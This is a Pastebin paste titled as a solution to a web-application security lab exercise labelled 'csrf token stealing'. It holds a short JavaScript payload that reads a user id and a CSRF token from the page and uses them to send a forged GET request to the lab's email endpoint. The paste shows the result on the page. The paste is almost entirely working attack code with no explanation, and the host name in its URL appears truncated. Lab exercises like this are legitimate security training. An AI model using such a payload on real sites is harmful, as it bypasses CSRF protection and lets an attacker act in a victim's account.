n0va_sa

JFP 17 Solution [csrf token stealing]

Sep 24th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(){var reqHandel = new XMLHttpRequest();
  2. console.log('declared! onready');
  3. reqHandel.onreadystatechange = function(){
  4.  if (this.readyState == 4 && this.status == 200){
  5.   document.querySelector('#result').innerText = reqHandel.responseText;
  6.  }
  7. }
  8.  
  9. var url = 'http://.com/lab/webapp/jfp/17/email?uid='+document.querySelector('#uid').innerText.split(':')[1]+ '&csrf_token=' + document.querySelector('#csrf').innerText.split(':')[1];;
  10. reqHandel.open('GET',url,true);
  11. reqHandel.send();
  12. })()
Add Comment
Please, Sign In to add comment